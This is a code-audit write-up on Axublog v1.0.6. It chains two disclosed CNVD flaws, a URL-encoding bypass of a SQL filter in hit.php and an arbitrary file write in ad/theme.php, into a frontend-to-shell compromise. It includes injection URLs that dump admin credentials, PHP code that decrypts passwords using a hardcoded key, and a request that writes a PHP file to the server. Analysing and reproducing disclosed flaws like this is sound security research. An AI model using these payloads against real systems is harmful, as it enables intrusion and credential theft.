Code Audit: Axublog Frontend SQL Injection to Backend GetShell
Background
I noticed on CNVD that someone had disclosed Axublog vulnerabilities, so I pulled the source for analysis and reproduction. While reproducing, I realized these flaws could be chained — frontend SQL injection plus backend arbitrary file upload makes for an easy GetShell. The source has plenty of other issues, but this post focuses on the chain.
The source was originally hosted at http://pic.axublog.com/axublog1.0.6install.rar.
Frontend SQL Injection
- Source version: Axublog v1.0.6
- Vulnerable file:
hit.php - Advisory: http://www.cnvd.org.cn/flaw/show/CNVD-2017-35761
After downloading and installing the source, I followed the CNVD description to ad/theme.php and started auditing. That file actually has several other vulnerabilities, but I’ll leave those for another post.
- As CNVD noted,
hit.phpcontains a code block that takes theidparameter straight from$_GETand concatenates it into a SQL statement with no sanitization. That’s a textbook SQL injection. Line 20 then prints the query result, so this is an error-based, fully echo’d injection.

-
This is a frontend page, reachable without authentication. To trigger the injection you first have to satisfy the
ifcondition: send a GET request withg=arthitand a non-emptyid. I fired the request and watched the executed SQL in a mysql monitor to confirm the parameter actually ran. -
The first attempt got blocked. Looking at lines 4-5 of the file, I found a
sqlguolv(SQL filter) call.

-
I traced into it and found the implementation at lines 545-548 of
axublog1.0.6/class/c_other.php. -
The filter reads the query string via
$_SERVER['QUERY_STRING']— the raw part after the question mark. Here’s the catch:$_SERVER['QUERY_STRING']returns the raw, undecoded string, while$_GETURL-decodes each parameter value once. Since the filter inspectsQUERY_STRINGbut the app readsidfrom$_GET, you can URL-encode the payload to slip past the filter.
Dump the admin username:
http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adnaa,8,9,10,11,12+from+axublog_adusers
Dump the admin password:
http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adpss,8,9,10,11,12+from+axublog_adusers

-
While auditing, I noticed line 88 of
axublog1.0.6/ad/login.phpencrypts the password with anauthcodemethod. -
I traced
authcodeto lines 16-62 ofaxublog1.0.6/class/c_md5.php. Pulling the encrypt/decrypt routine out and combining it with line 88 oflogin.php, I found the key is hardcoded as the literal string'key'. With that, the ciphertext pulled from the database decrypts straight back to plaintext — and you can log into the backend.

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 0;
// Random key length, 0-32; a random key removes ciphertext patterns. 0 means no random key.
$key = md5($key ? $key : EABAX::getAppInf('KEY'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$psw = 'yYxvHseLMURYWjMXuICtH2jsBTQNdXog43es9PZUng';
echo authcode(@$psw, 'DECODE', 'key', 0);
?>
Backend GetShell
- Source version: Axublog v1.0.6
- Vulnerable file:
ad/theme.php - Advisory: http://www.cnvd.org.cn/flaw/show/CNVD-2017-36013
- At lines 185-205 of
ad/theme.php, theedit2savemethod takes thepathandcontentparameters from$_REQUESTand passes them straight tofile_put_contents— writing arbitrary content to an arbitrary path.

-
Tracing where
edit2saveis called, lines 10-25 ofad/theme.phpshow it fires when the GET parameterg=edit2save. -
This file requires backend authentication, so it’s limited on its own. Chained with the frontend SQL injection, though, you log in with the cracked admin credentials and verify with: GET
g=edit2save, POSTpath=./evil_shell.php&content=<?php phpinfo();?>.
Then visit http://127.0.0.1/code/axublog1.0.6/ad/evil_shell.php — the uploaded file is live.
Final Thoughts
This post covered three core problems in Axublog: a bypassable frontend SQL filter, a hardcoded encryption key, and a backend arbitrary file write. Chain them and you GetShell from the frontend. Thanks to the folks who guided me — always happy to trade notes.
(Small CMSes from around 2018 shared the same pattern: filter logic inconsistent with how parameters are read, hardcoded crypto keys, and no validation on backend file operations. String them together in an audit and a quiet frontend bug often runs all the way to shell. That’s the value of manual code review over automated scanning — a human can see the causal thread between vulnerabilities.)